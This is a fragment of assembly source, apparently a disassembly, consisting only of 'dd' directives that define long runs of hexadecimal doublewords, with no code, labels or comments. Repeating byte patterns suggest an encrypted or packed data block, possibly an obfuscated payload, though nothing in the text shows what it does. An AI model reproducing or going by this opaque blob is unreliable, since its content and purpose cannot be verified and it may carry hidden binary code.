		dd 7C0FE37Fh, 5A7F3646h, 6685DB74h, 0B00D3215h,	0ACF21AB2h
		dd 6D8C7511h, 0E67631F0h, 0E34BDB2Bh, 662232ECh, 6767CDE0h
		dd 0E7AC0E9Eh, 664436D1h, 0BDA35215h, 0EBD8810h, 668823FCh
		dd 0C7C51515h, 0E5B5A3FAh, 0C4DE0274h, 279BC63Ch, 0E725CCF9h
		dd 0E52F57FAh, 30E63337h, 31FF21ABh, 919AC528h,	88E4B3CBh
		dd 0E77CAB49h, 0B4EAEFBh, 38B3339Dh, 6637BD1Ah,	69713215h
		dd 6688329Ch, 664CDB15h, 3A723215h, 0F3288D42h,	6E9646Fh
		dd 405BFA94h, 86A3346Ch, 3306A2F1h, 0DDDB6474h,	0F69219Dh
		dd 62066E3Ch, 0A590694Eh, 0FA5219Dh, 66443DFCh,	0A3533A15h
		dd 3710EB20h, 89C31ADDh, 0CAB3130Eh, 6603E67Dh,	4225BB15h
		dd 66C832ABh, 38B73315h, 662223FCh, 7A0F9515h, 6ECEC9C8h
		dd 747F7DC8h, 7FF12CC1h, 0DB2A17A9h, 61201E4Ch,	6653B01Ah
		dd 5DDB3215h, 44973DEEh, 69883215h, 66443A9Bh, 64A93D15h
		dd 6113215h, 8E5ADB74h,	0E94BCDEAh, 6622321Ch, 0EF1ECB75h
		dd 66883215h, 33F9B974h, 93259A3Bh, 4028B7D2h, 668835BDh
		dd 8E243215h, 66223210h, 9C5544A4h, 0D9EE6B2Bh,	9F25F5EAh
		dd 0E6755275h, 4AA0CAh,	7E7EFAAh, 548D879Ch, 93DE35BDh
		dd 7DBAF98h, 616135A5h,	0AA443215h, 0A11E8658h,	0B5EE0FE6h
		dd 0F1305475h, 0A64F53C9h, 6625B61Ah, 8FE83215h, 66883266h
		dd 3FD9BFECh, 8F259F9Eh, 6611321Bh, 0F100354Dh,	6B106BF5h
		dd 0A711BA06h, 99EDBCC8h, 0CB0B3DC6h, 9EBBCDEAh, 66223EFCh
		dd 0C04CF215h, 0EC93B078h, 0F1BA0B53h, 0AF97B913h, 6169A27h
		dd 6608F594h, 0ADC50462h, 3DEA3532h, 5FA4BB74h,	9A8F9A33h
		dd 0C5A7AF98h, 0EA2D35BBh, 66113212h, 0D06075h,	9925ED9Eh
		dd 4252C6h, 7ABBFA94h, 75BB973h, 0ED25ED9Eh, 0CE0E6B90h
		dd 67953D12h, 9A883215h, 548DB79Ch, 7DE35BDh, 661121FCh
		dd 7808D115h, 3F920132h, 0B2070EA7h, 0E556E88Eh, 6A98844h
		dd 8E7AB2EDh, 673FB71Ah, 0E5E43215h, 0CE9673A8h, 0E24B3212h
		dd 6622331Ah, 6607B51Ah, 77613215h, 0E1443215h,	0DB93FB2Fh
		dd 27E112E7h, 59782CA6h, 3365FBDFh, 662AB01Ah, 35713215h
		dd 0FB32544Ah, 0D315533Ch, 0AAE7B22Ch, 0D142EFE3h, 3267B273h
		dd 0EE1FCF3Dh, 6ACB6BFDh, 0CE113215h, 0DA544FE7h, 6479B90Bh
		dd 9F9F4CE8h, 0E21E52BFh, 66883216h, 6997B973h,	66223E9Fh
		dd 6616DB15h, 2B2C3215h, 0DF6D0369h, 924A536Dh,	0EF11324Fh
		dd 6D01621h, 2F7A8C73h,	37435FA4h, 9C1A05ACh, 0B041B347h
		dd 0A739830Ah, 97A331F4h, 7ADA2607h, 67BDFB94h,	97C53E42h
		dd 0B25781A8h, 4F48FA3Ch, 3E8A37EDh, 77AD0937h,	3B223215h
		dd 506C0EBFh, 1A96B5E5h, 3AC26CEDh, 6B9847D8h, 66113FFCh
		dd 27B2FD15h, 5AA09840h, 0D5CEB682h, 0DF4041CEh, 48793230h
		dd 8F857B5Ch, 0C2D3B311h, 0E7767A6Fh, 3E1D6CD4h, 3F8C1B8Fh
		dd 5A7A8D75h, 3DAF416Fh, 7C80513h, 3CADCEBEh, 6223217h
		dd 6614B61Ah, 53333215h, 80110h, 0EB43E39Eh, 0D6565188h
		dd 6681DB12h, 249F3215h, 0C21AF7F7h, 9958C1A6h,	610D3DC6h
		dd 69443215h, 66223390h, 0E21ECA15h, 6688321Ah,	8EB4B875h
		dd 66223210h, 0D851A610h, 0EBE96D74h, 0D618C688h, 662FDB12h
		dd 4A483215h, 0AB4F5469h, 479DA72Bh, 993FD7D0h,	6E903DC6h
		dd 69883215h, 6644309Bh, 6D435215h, 79943DD5h, 6883215h
		dd 664439FCh, 29E5FA15h, 1F30F730h, 0F1E326BDh,	58AD53ECh
		dd 69223215h, 66113399h, 0E30BC715h, 61EC00DCh,	6AA63D10h
		dd 69113215h, 6688349Ch, 66C63D15h, 8F223215h, 99EECC20h
		dd 669BBA1Ah, 8F243215h, 66223213h, 0F192FF5Fh,	0E6870120h
		dd 66443215h, 8EBFBF74h, 616824Bh, 668839FCh, 0A94D4815h
		dd 0FE23DC70h, 5FE56D53h, 0B57753EDh, 6643B71Ah, 0E92D3215h
		dd 66113214h, 6F0C3DEDh, 6443215h, 0E45DD894h, 7E95A2Dh
		dd 0E387F21Eh, 66443234h, 64AB3D75h, 34113215h,	65063D4Dh
		dd 443215h, 8F43FA9Eh, 6611325Eh, 818675h, 0C7E3F194h
		dd 76B65A74h, 4A983215h
		dd 668C8F31h, 8C453215h, 16985248h, 311597FDh, 668834FDh
		dd 0C0C65415h, 3EFE7F91h, 64F8534Eh, 8F883214h,	66443206h
		dd 0B4F599F8h, 17B657DBh, 0AE81EF5Fh, 78340BE5h, 0EB4A2B02h
		dd 0CB9A6B88h, 0A7095212h, 1EAE0521h, 88A35475h, 0A19AF959h
		dd 0B5775374h, 664AB11Ah, 0EDDA3215h, 0CE23FBA0h, 5B61CB12h
		dd 9344323Bh, 54EBBF9Eh, 0E81E35BDh, 66883219h,	66C03D75h
		dd 223215h, 7868BAEh, 0AF3DBBE9h, 69439A27h, 6622259Ah
		dd 76F85215h, 0E4883215h, 5DB5F6ECh, 1D3B2AF9h,	0D3CF8989h
		dd 7EB44E3h, 244A8847h,	0BCD53CB9h, 0E716D8D4h,	0B82487E7h
		dd 3C953366h, 8FA3C33Ch, 142D39DBh, 67D5275h, 0E44B5374h
		dd 66223213h, 0B158D094h, 2FE96409h, 4250C544h,	0AEA9524Ch
		dd 0E770E39Eh, 0F98905D3h, 182B30Eh, 4F16C87Bh,	1FFB3DBh
		dd 0E7BCC87Bh, 0F94505FBh, 60CB520Eh, 4C113215h, 0A664916Ch
		dd 62CE3D7Dh, 223215h, 7935BABh, 0DFE896E6h, 76DDC53Fh
		dd 7433FA94h, 8F701FAEh, 9977CE84h, 66D9BFE0h, 6259CB3h
		dd 6601DB75h, 11473215h, 0B24410B8h, 6D912EE1h,	0B505A236h
		dd 0E6E9C8BAh, 9925B2E5h, 95A852C6h, 0FAF1B373h, 6C6153E9h
		dd 9443215h, 0A273B7C1h, 8704131Ch, 62096589h, 0C554A31h
		dd 4226B924h, 6615F694h, 1EA53215h, 9F755804h, 4877B73Eh
		dd 0EFED35BDh, 0CE8F4390h, 0F2FA5212h, 623F1C0h, 751CECABh
		dd 9C035458h, 0E3CF5374h, 618A1C40h, 66113EFCh,	4F881F15h
		dd 0EF6413EFh, 73E6EF72h, 87986383h, 668CF394h,	8FC73215h
		dd 422EB511h, 422DBB49h, 0B6095475h, 0E713544Fh, 7E4117DCh
		dd 0E706B4Eh, 66887519h, 660369Ch, 66223FFCh, 948B4F15h
		dd 0BDDE7012h, 140227E1h, 0E12D0579h, 66113214h, 0EB0553ECh
		dd 61EA9A9Ah, 662235FCh, 35EA0A15h, 0AD79C602h,	69B1E3EAh
		dd 66222292h, 6C9A3D15h, 8F883215h, 66443210h, 40C2ACD0h
		dd 9794B991h, 8F8F9A27h, 66443205h, 0B12BE0DDh,	0E7B1B05h
		dd 31FF9BA1h, 2E05E5A5h, 0E7C5BB42h, 661136D2h,	6267B115h
		dd 3A600E92h, 606369Ch,	6613B21Ah, 3FD93215h, 6647BF1Ah
		dd 0D92D3215h, 697153C7h, 0EDEEC2AAh, 0EF1453CFh, 662637F5h
		dd 8E923215h, 428CB511h, 4278BB49h, 662234FCh, 44BD0415h
		dd 0EDBB4A5Ch, 0CE6A6790h, 6629DB12h, 79CD3215h, 83072A47h
		dd 0A0BF6F4Ah, 27AE5A2Ah, 62983215h, 670B3D31h,	9E443215h
		dd 0CFBCBF98h, 75F835BBh, 38883215h, 0BA471179h, 1363685Fh
		dd 0B15F87B3h, 663663EAh, 8F245145h, 66223206h,	0D45C98C1h
		dd 1287EA9Dh, 218D8ACBh, 459659Dh, 762220h, 99E9C59Eh
		dd 6FAD52C4h, 32223215h, 5374B6EBh, 6C4DD66Ch, 62A8B174h
		dd 0EF063E9Ch, 3FDBBBD4h, 7578B375h, 6946FD13h,	6943FDA2h
		dd 66112B9Dh, 669CDB15h, 675F3215h, 6841C816h, 0D411E22Bh
		dd 0FA622E68h, 39B79B0Dh, 0E772D58Eh, 71921621h, 6A032E05h
		dd 6280B331h, 0E7223215h, 7606B1E4h, 32375209h,	47B691h
		dd 8CEFDB94h, 979C1974h, 68F9A27h, 0C2FA5442h, 0E7446A64h
		dd 719C7CAh, 66883CFCh,	0D41F7115h, 2210ED23h, 34D71613h
		dd 0E57DFD8Ch, 0CE6327A8h, 0E22D3212h, 661132D8h, 6681DB75h
		dd 10BC3215h, 61668B38h, 30046461h, 0E8534Bh, 7625E394h
		dd 63A7B974h, 6169A0Dh,	730D1974h, 8F439A32h, 66223212h
		dd 41FAFCD5h, 5D4FC2E3h, 0F4C23DD4h, 8F223215h,	6611321Ah
		dd 0D677C24Bh, 0F45E10DAh, 4A0013F9h, 0EDD1D00Ah, 0CEA1BB90h
		dd 6AAC5212h, 1F223215h, 0FF717243h, 831DA038h,	0E70B1438h
		dd 0F74BBFFBh, 0D9436833h, 61B23760h, 0E347534Eh, 618A1500h
		dd 660CB01Ah, 8FE83215h, 66443201h, 915E9941h, 9BA37B4h
		dd 6666509Fh, 45B60C35h, 21E34FFCh, 0EF70CA9Eh,	0CEA78390h
		dd 63C63D12h, 6223215h,	76A84EDh, 6689E7FCh, 6657DB15h
		dd 69793215h, 82CE6AC4h, 879E0306h, 0F51005CAh,	0CC7BECE2h
		dd 54045A45h, 6A013215h, 67CA3D31h, 9F223215h, 6645D67Dh
		dd 4284BB15h, 0B0600694h, 3E034669h, 126DE420h,	0DCDACB34h
		dd 610B65EEh, 31D8C094h, 0B638355Ah, 6685DB4Fh,	83353215h
		dd 0CCEB9714h, 10949175h, 343175E5h, 0C509E0AFh, 9AC8B328h
		dd 37038378h, 68B81BACh, 3F8E33C0h, 6978E21Ch, 66113F98h
		dd 6680DB15h, 10663215h, 0D4EA59E2h, 8A905220h,	66883211h
		dd 9960369Ch, 697A1611h, 66112B92h, 669CDB15h, 0B4F63215h
		dd 39A61A8Eh, 0B46EABB7h, 0CF3D81F3h, 0E096ED83h, 0E3AB484Dh
		dd 61B92A10h, 668EDB75h, 69BA3215h, 2B38CDAFh, 1F943374h
		dd 68F9A37h, 6641BE1Ah,	1B9A3215h, 304633C9h, 3E41851Ah
		dd 73C1F574h, 66259A32h, 69113215h, 66883390h, 262ECE15h
		dd 66223CFCh, 57F41315h, 6965B845h, 92368C26h, 8F26E2B7h
		dd 66113205h, 0C3C05F71h, 0C95C404Fh, 3FB5457Ch, 88FB9D4h
		dd 6698327Dh, 8AC5CE15h, 66223211h, 8F353E9Ch, 66883212h
		dd 0CDC4C462h, 8F2E6ACDh, 66113218h, 0E47644Bh,	0FBC3FB6h
		dd 222B53EFh, 8F115842h, 66883219h, 9F9E3F30h, 490DDB9h
		dd 5CB87353h, 437DA7EAh, 0E34B35BDh, 6622321Ch,	4A6475h
		dd 7DE4C494h, 17D1CD74h, 6259A19h, 696CD395h, 66883291h
		dd 0EFBC5315h, 0CE0BBB90h, 6619DB12h, 86963215h, 9D0878B3h
		dd 0E3AB1222h, 61B91DA4h, 668838FCh, 0D94CDA15h, 6CC5BBB5h
		dd 0ED9C294Eh, 0EFDA1619h, 6286B3F7h, 0E7223215h, 661136D7h
		dd 429CB515h, 664BDB49h, 0BD8D3215h, 0FB9C7D2Ah, 111600DCh
		dd 0D8CE8A7h, 0D3DDCA2Eh, 61B91DA4h, 973DCDECh,	9E439A27h
		dd 0E7C1BB46h, 661136D6h, 6263B115h, 3A602E92h,	8F060E9Ch
		dd 66113212h, 0D36C1B27h, 9993A721h, 0CE0C67A0h, 661ADB12h
		dd 0BC33215h, 0CB1E9C40h, 0EBE68D2h, 594BFF3h, 68F9CD7h
		dd 0FBAFB373h, 3EF1B31Ah, 7053E43h, 98305475h, 0B6BB53F8h
		dd 6625DA75h, 0A2043215h, 99A50698h, 6641DBC2h,	7BCF3215h
		dd 39CF408Dh, 67F0D894h, 67252F2Bh, 0CE052798h,	6A9F3D12h
		dd 6883215h, 6644B01Ah,	0DD443215h, 0ED70E134h,	0CEA783A8h
		dd 0D3CFCE12h, 618A00E4h, 6619DB75h, 29F43215h,	9090F895h
		dd 3B9DB0A2h, 720ACAEh,	8FE896E6h, 6644321Dh, 0A6BF8870h
		dd 0E842F6E6h, 0FB3DB974h, 8F439A39h, 66223213h, 631FCA59h
		dd 9F2518D7h, 0D3B874D2h, 345F0600h, 15560FAFh,	0E752C50Bh
		dd 0DEE944E7h, 9A741B89h, 0E41E524Fh, 66883217h, 0BCCFFA9Eh
		dd 63E2F374h, 661126FCh, 0FE306515h, 0AD3B7A12h, 843663A0h
		dd 2930B1C2h, 66DFB54Ah, 0C1F96726h, 4B3570BEh,	4C1B795Ch
		dd 2F8DDA14h, 3B6E385Eh, 6623B61Ah, 69E83215h, 66883398h
		dd 0E347CB15h, 618A1494h, 6608B11Ah, 72613215h,	0E1443215h
		dd 0D9553312h, 0B05F008Ch, 226C405Bh, 0B2193C55h, 0ED07F866h
		dd 0CE3E8398h, 6686DB12h, 348A3215h, 8E78C944h,	0CED6E942h
		dd 6F895357h, 6632EA7Dh, 422EBB15h, 49351E94h, 0E9C0FA30h
		dd 4944B315h, 8F6AFA30h, 66113204h, 62ADDEC3h, 47CDE05Dh
		dd 0A4828080h, 0D15D7462h, 0E2879F9Dh, 66443214h, 0E99B63ECh
		dd 0E75A1001h, 1BF055E4h, 6EADF33Bh, 3AE3B35Ch,	0E75F7578h
		dd 0CA44F5E4h, 9A0ABB5Bh, 0E5063E9Eh, 0EFE436D1h, 0CEA4AFA0h
		dd 664CDB12h, 42B13215h, 2E6AC728h, 9E0B5986h, 0EFC13DEAh
		dd 9E223215h, 0BBCC0C94h
		dd 0E387EFC8h, 66443269h, 0D79A62ECh, 34451221h, 78BB70AFh
		dd 0DAAEB37Ah, 0E7048216h, 0B236D8DFh, 0A54AB318h, 0EF421011h
		dd 600B6803h, 0DF40C74Dh, 66883211h, 755BDC94h,	0A8234AB3h
		dd 750EF494h, 8FD14AB3h, 6644321Bh, 3B3A82C7h, 7CCF349Bh
		dd 94CAF9F3h, 0D3CDECCAh, 618A1E88h, 661AB21Ah,	60613215h
		dd 26443215h, 0BA0A9140h, 0B439DBECh, 6B61CDEAh, 0E3443215h
		dd 965F4CA8h, 0EEB74CD1h, 4D428359h, 6947F2D4h,	66223B9Fh
		dd 88915215h, 1C33547Bh, 0E3475395h, 618A1494h,	6610B31Ah
		dd 0E5713215h, 0CE5903A8h, 0E22D3312h, 661131A4h, 668838FCh
		dd 749ABC15h, 1BD9502Ch, 0E717433Eh, 0CC22982Bh, 0CEC13DBFh
		dd 69223215h, 66113E97h, 0EE875215h, 66443215h,	97358973h
		dd 62FDB174h, 0DFAC3E9Ch, 66443211h, 697BFC14h,	6611209Dh
		dd 6A073D15h, 8F443215h, 66223212h, 0B3C050EAh,	3539F9DEh
		dd 9A78FB7Dh, 0A5A36952h, 0DE12F122h, 0ED746C9Ch, 0A2C51609h
		dd 66223211h, 661138FCh, 7B93F915h, 0BBDF9FB3h,	57599BC5h
		dd 57D603EDh, 6E043DEDh, 69443215h, 6622309Eh, 0E7705215h
		dd 668836F9h, 4250BB15h, 0B0D451A3h, 0E648FC95h, 96003ED3h
		dd 6ACC3D4Fh, 69223215h, 66113494h, 66033D15h, 8F443215h
		dd 6622323Bh, 6610B21Ah, 57713215h, 578303EDh, 24ACAEDh
		dd 0EF11321Eh, 8E3B1609h, 691FEA9Dh, 66223F95h,	6619DB15h
		dd 2F873215h, 1030D576h, 0A34ACB54h, 0EF113208h, 75611611h
		dd 3D443215h, 282C014Ah, 0A356CECFh, 0E477409Eh, 0A892FC10h
		dd 0DBA19E34h, 61B93D38h, 350C3D14h, 69443214h,	66222F92h
		dd 0E7775215h, 8FC08AD2h, 66443204h, 6E137FD6h,	2F2756CBh
		dd 648BBB21h, 0A3AEE506h, 0E7753E5h, 66113315h,	3B60BB48h
		dd 664435FCh, 7C6D0415h, 1AE54668h, 0BA318F96h,	694435BAh
		dd 66220291h, 8E405215h, 66883219h, 40EA5B71h, 4E27FE5Fh
		dd 759A36CBh, 0EBE96B4Fh, 0C89C3B88h, 94A25212h, 6617DB97h
		dd 56E83215h, 639D43A1h, 0B5DDC774h, 0F62EB2E9h, 66BEB61Ah
		dd 33BC3215h, 662237A8h, 0EDFE3315h, 0A20B1639h, 63C43D11h
		dd 6223215h, 7E95375h, 6689CEFCh, 6656DB15h, 0DA653215h
		dd 8D9C374Eh, 822F60C9h, 0DD615F4Eh, 1F8453B4h,	6941CA96h
		dd 6688A797h, 74AC5215h, 4A223215h, 0CA7DF395h,	4C117585h
		dd 864D9754h, 0F4A3348Eh, 0A4D0B274h, 6682DB4Ch, 0B44C3215h
		dd 0E9437A5Ch, 7379521h, 982F8274h, 52C316D5h, 616D6h
		dd 90D6BA46h, 70BACAh, 69D4064Eh, 66223396h, 6BBCE15h
		dd 0ABC82DABh, 7E4842Eh, 3006369Eh, 0A090D49Ch,	66883211h
		dd 0E140F496h, 8F7E1621h, 6611321Fh, 8A4E2429h,	491106E0h
		dd 8F88B3AAh, 66113212h, 4BEDDE03h, 8F8B0FB3h, 662232E5h
		dd 6619BB1Ah, 0EC873215h, 66443217h, 62A95375h,	84986031h
		dd 668CF094h, 0A4C73215h, 4236B511h, 679F3D49h,	9A883215h
		dd 0E64B52BFh, 66223213h, 6611B31Ah, 81323215h,	7277594h
		dd 8FDD4D95h, 66BBB71Ah, 77613215h, 85443215h, 8E57796Bh
		dd 7969170Dh, 4DC3360Bh, 0EC7E222h, 0BA9B8F96h,	691135BAh
		dd 66885991h, 6BCD3D15h, 8F223215h, 6611321Dh, 0E9FF6383h
		dd 1D611FFFh, 662220FCh, 1BAC1815h, 98900958h, 0CDF88575h
		dd 0BA4979D1h, 0EBB4A7C7h, 0C85E8988h, 6BAD5212h, 7E223215h
		dd 0C2D494D0h, 41B960FBh, 3FB58039h, 6625DB75h,	19333215h
		dd 0A12A4730h, 664EDA5Ch, 0F453215h, 0EEBF01EAh, 0C66D64D1h
		dd 9925534Bh, 249452C6h, 7D6B973h, 0EE4DBA44h, 6ACF367Ah
		dd 62E6B331h, 69113215h, 6688359Ch, 67C23D15h, 9A223215h
		dd 49A0B79Eh, 0ECE835BDh, 664BDBCBh, 746F3215h,	0B584AA93h
		dd 7BDEFCBh, 9E6BF67h, 0DC70530Eh, 2CA5402Ah, 4FD2E214h
		dd 147B1FEDh, 0E52D78A1h, 66113219h, 668EBE1Ah,	0EF4B3215h
		dd 66223215h, 6610B21Ah, 31703215h, 664436AAh, 0EDDA1B15h
		dd 0A2901629h, 66883211h, 664434FCh, 39335B15h,	0CD83E3FCh
		dd 69E89FE9h, 9325E5A2h, 25628946h, 95901245h, 46D87155h
		dd 0EF9EBB47h, 3D78CE43h, 9D4CDBECh, 6F61CDEAh,	1C443215h
		dd 4DC5120Ah, 2CDD73E6h, 774C775h, 4AD9879Ch, 0EE2D35BDh
		dd 66113205h, 668839FCh, 5DDD5415h, 0CBE687E1h,	495FEF14h
		dd 0E76EBB43h, 664436D3h, 62CCB315h, 0E1113215h, 0EFD41621h
		dd 6CAD1601h, 0FB223215h, 72CCA24h, 50639DFFh, 0E6445AB3h
		dd 0E22D3215h, 66113207h, 66883FFCh, 2900F315h,	58A412ADh
		dd 234EEF8Dh, 69E85074h, 6644309Bh, 0E78315h, 7790EAEh
		dd 9970327Fh, 0CE6B4BA0h, 71AA3D12h, 69113215h,	6688239Fh
		dd 6648DB15h, 40473215h, 0A7FD00A2h, 0AD04DB35h, 0F3BB7FF5h
		dd 618A06F4h, 6610B21Ah, 69703215h, 66443B9Fh, 0D8445215h
		dd 8C910AFEh, 527753DEh, 0A2C56831h, 66223211h,	6618DBEDh
		dd 1F023215h, 68573956h, 0EDE5D47Bh, 0CE1F8398h, 674FC712h
		dd 2F5C3550h, 553E1B94h, 679014FCh, 0BB5919C2h,	66443DFCh
		dd 1C9BB915h, 0D1CD0C77h, 9522C80Dh, 78CE5103h,	629C6440h
		dd 0EF113215h, 8F896CE0h, 73CB3D48h, 8F223215h,	66113205h
		dd 0DB59A8C7h, 0CABA9EC7h, 0B34E7BFh, 87958827h, 6839BF9Ch
		dd 2435BDh, 4513F194h, 7D0B973h, 994DB2FCh, 0A7ADC7EAh
		dd 9F22323Fh, 61903D75h, 69883215h, 6644339Dh, 0EBA9CA15h
		dd 61B93CA4h, 6689BF1Ah, 99BC3215h, 420EB324h, 5CBC1ACDh
		dd 0E5AC3E9Eh, 0A7C536D1h, 5C8F1ACDh, 661134FCh, 1236EF15h
		dd 0EF4F4EAAh, 0C9FE8798h, 73903D12h, 8F883215h, 66443205h
		dd 0BEB225DAh, 1801C492h, 6AE72F4Fh, 0B3A431D2h, 6632BB1Ah
		dd 6DF83215h, 0C0883215h, 0D4BF9B45h, 0B73E4083h, 5E90BD5Ah
		dd 2ACC665Bh, 66DDB71Ah, 0E12D3215h, 66113205h,	668839FCh
		dd 0E7459B15h, 1D7918EEh, 142291B3h, 62F0B373h,	0E34B1C59h
		dd 66223262h, 3041CAECh, 99B9CDABh, 42300350h, 0E77C6C11h
		dd 9920CDE3h, 35D8CE50h, 664434AEh, 3DFABB15h, 649F414h
		dd 668826FCh, 0C50F4E15h, 7B5EEB13h, 7E384CC4h,	4959CEB9h
		dd 1AE3E86Eh, 7E1B9C6h,	76D0B79Eh, 6B6135BDh, 71443215h
		dd 7F9C9A86h, 0EA87B664h, 0C280559Bh, 664426FCh, 0D6117B15h
		dd 0D1C1B9C6h, 0AAB7D039h, 0EA71047Dh, 7F5BD262h, 62FDDBFFh
		dd 36703215h, 0E760069Eh, 662236D1h, 0E7715215h, 17D42C7h
		dd 9B908A01h, 74352C9h,	0EF15DE96h, 6D21611h, 6640BD1Ah
		dd 0D8443215h, 0D91EB129h, 0AFB953DDh, 0A6C55475h, 0E72D7DD0h
		dd 66113215h, 5A749E74h, 0E3C03D15h, 69223214h,	6611389Ch
		dd 0EF875215h, 66443215h, 5A435375h, 0B8953D38h, 8F77CDEAh
		dd 6644321Eh, 0CF9AE8Eh, 3E0C1F07h, 5AD514CEh, 0FFC03D3Bh
		dd 9F223215h, 0E41E0229h, 66883712h, 6656BE1Ah,	6BCB3215h
		dd 13113215h, 0EFACAD12h, 4A8BE886h, 0FF66198Fh, 0E01E0B29h
		dd 9977CD88h, 664FB51Ah, 60CB3215h, 0BF113215h,	5905A3B0h
		dd 69050E94h, 6626FC97h, 6A933D15h, 69883215h, 66443498h
		dd 66A93D15h, 5A113215h, 0C0E3D4Fh, 8FBBCDEAh, 66223201h
		dd 16E35FC3h, 0DB0409C4h, 835E15EAh, 1730B429h,	773A6FDAh
		dd 0E2876D29h, 99BBCD5Ch, 69430EE9h, 6615B897h,	1CB4CE15h
		dd 9973B41Ah, 8FDBCDEAh, 6611366Eh, 77FB875h, 66458C43h
		dd 94233215h, 0EE1E524Bh
		dd 66883200h, 664422FCh, 0A6E6715h, 0BF5EF99Ch,	0AC4A57AEh
		dd 6F602D8Bh, 0ED446254h, 5F706DECh, 220C3DE7h,	8F443211h
		dd 66223205h, 0A2FE5C1Ch, 693AB80Ah, 943A4ADBh,	7EEDB476h
		dd 661134FCh, 6FD50715h, 0E1B4935Dh, 31707DEFh,	34716D4Fh
		dd 6688B11Ah, 8F1E3215h, 66223212h, 0B3A45524h,	71B9582h
		dd 99BB8C43h, 970BCDEAh, 78A9524Bh, 9A5616h, 6B55E394h
		dd 0E7445274h, 8EEAFECCh, 66883218h, 780C120Fh,	4C18ACEAh
		dd 0ED578EF1h, 9D6CB210h, 0E0AD534Dh, 8FDDCDEBh, 66113213h
		dd 7CE8593Ah, 63AD2A5Dh, 83223215h, 8960004Fh, 0E287FB90h
		dd 664431A6h, 662239FCh, 0A9DD0615h, 8434129Bh,	6FE881BAh
		dd 6B2B8798h, 6DF835BDh, 65883215h, 12D4F184h, 0AA11376Ch
		dd 0E743DCA9h, 12CB1611h, 6ACF51D9h, 62E6B331h,	0E7113215h
		dd 0AAFC71FCh, 664ADB76h, 0FAAD3215h, 6BD40B9Ah, 0ED07AC6Fh
		dd 30E17E29h, 4226B347h, 216816B5h, 0C632604Ah,	0E7597076h
		dd 5D6532E7h, 3CC61B4Fh, 0A367B375h, 772E4C0h, 0EF26DE96h
		dd 74A01619h, 0AEA072A5h, 61CD3D4Ch, 69223215h,	66113394h
		dd 1326C715h, 77CF3DE8h, 6223215h, 6EF85375h, 24883215h
		dd 0A0D2CDFh, 7EC9761h,	0C4AF64ECh, 0A7B14136h,	0E7023AF3h
		dd 0CEBFA1E3h, 38E01B7Ah, 0A709CB3Ch, 7ACF0D87h, 91A95475h
		dd 0E7C0C574h, 668833D4h, 0ED225215h, 60AC3DD7h, 0E7113215h
		dd 0EF5C8C3h, 624536Ch,	0B3C7FA94h, 69700838h, 0E7E9FAAAh
		dd 1B2C78D2h, 2EE5B307h, 4F46457Ch, 2E67B3DAh, 0E713457Ch
		dd 1B4A78FAh, 57E4CB07h, 577603E2h, 6642DBE2h, 0F3453215h
		dd 6FF77A0Dh, 756196E6h, 0C0443215h, 2F27BD2Dh,	0FBFC726Ch
		dd 438A677Ch, 7F83C04Fh, 21E4E7EDh, 0D542A0EAh,	5A7BB2F9h
		dd 0E696D195h, 0ADDC13F6h, 6E06C195h, 0E6D3CD4Ah, 8FBECD62h
		dd 66223212h, 0CCBE7128h, 0EBAD8143h, 0CE493B80h, 31985212h
		dd 734D4CEh, 4189B79Eh,	8F2435BDh, 66223204h, 91188021h
		dd 40AEA011h, 0DBD309E7h, 0E26196DDh, 0A694539Dh, 66FDB71Ah
		dd 0EE4B3215h, 6622321Eh, 661134FCh, 81CE4215h,	0A0850CF4h
		dd 0CE242B90h, 75F87512h, 31883215h, 0DF272934h, 6F6D4977h
		dd 7101F75Fh, 0C9D9CCFEh, 0B42CC8BDh, 69F6A8B2h, 66113399h
		dd 0D377C715h, 61EC3EF4h, 66223CFCh, 12F65115h,	0DF717363h
		dd 330666BDh, 0EB683AB8h, 0CD692890h, 0E9875212h, 66443210h
		dd 12EDB373h, 0FCA76574h, 0B677534Ch, 6645B11Ah, 0EDB3215h
		dd 66117496h, 69AC269Ch, 66443391h, 0B6DDCE15h,	0A5A63D75h
		dd 668839FCh, 6DDF2115h, 0A89B453Eh, 0DEB257D7h, 668EDB74h
		dd 9E303215h, 1AAD8BF3h, 0E31EF290h, 668832CFh,	1DA5B375h
		dd 6937B71Dh, 66113691h, 33335415h, 0E3CF5356h,	618A2AA0h
		dd 220F8875h, 7706B9Ch,	0E34BF290h, 6622327Dh, 7F94F4E9h
		dd 2A8F9A13h, 6654BE1Ah, 0EF2D3215h, 6611321Fh,	668837FCh
		dd 5AD3B615h, 8F4AD24Dh, 8FC8E809h, 66883201h, 0B2679D87h
		dd 3192E5BCh, 223E66A6h, 9767B3B8h, 170FA8D9h, 6AC387EAh
		dd 0EBE935BDh, 0CDF02890h, 0E64BCE12h, 66223219h, 6617BF1Ah
		dd 0E4873215h, 66443215h, 642E2EAh, 8F9054ECh, 7E9752Fh
		dd 661EF37Dh, 4236BB15h, 66113EFCh, 0E6B68C15h,	7ACD8536h
		dd 0E49AA323h, 6D9C3DADh, 8F883215h, 66443213h,	0E7F75504h
		dd 0B6EE8252h, 6948B7E0h, 66442790h, 2A925215h,	70F7B373h
		dd 0C26153C0h, 69443215h, 66223399h, 0E398CE15h, 6127EEA0h
		dd 6645B91Ah, 6DE3215h,	0D2B973h, 783E7AFh, 6629CA7Dh
		dd 4226BB15h, 859861E0h, 668CF194h, 8DC53215h, 66223211h
		dd 3A352E92h, 8FAC069Ch, 6644321Bh, 6B0BFF7Dh, 0C525E983h
		dd 0FB35386Ch, 6EAD0E6Ch, 2C223215h, 3146F672h,	0EB339B05h
		dd 0CD374190h, 0B0A95212h, 9970FC9Eh, 0A683CAC5h, 6660B71Ah
		dd 423215h, 0ED77EB9Eh,	426153EBh, 8F443215h, 66223207h
		dd 0C30A81B9h, 0C73BA09Eh, 3883937Ch, 0BF54CECEh, 22980259h
		dd 0EDE82E31h, 0E1F08CDAh, 7432E30h, 6603B81Ah,	6B613215h
		dd 0B4443215h, 0B0B82BDCh, 0FBE5D1A7h, 8DBFCEBFh, 0C8F152D6h
		dd 662235FDh, 52276B15h, 4368C109h, 3FB78D1Ah, 0EF2D5274h
		dd 66113214h, 0D305B9E9h, 9F439DC9h, 66075F7Dh,	4215BB15h
		dd 66883FFCh, 0D5549315h, 7454E52Ah, 0C0EACF54h, 0EFDB4F36h
		dd 52C561DEh, 9F670931h, 5D246A4Eh, 3DD3CB50h, 664FDB75h
		dd 699B3215h, 41BA6F5Ah, 0FB9A0823h, 692453FDh,	76CAE9A2h
		dd 7F113215h, 1E4B0B1h,	48BD0E53h, 8E983C12h, 8F2F86A2h
		dd 6688321Bh, 525F0606h, 9957D276h, 0B2CB44BAh,	7D20613h
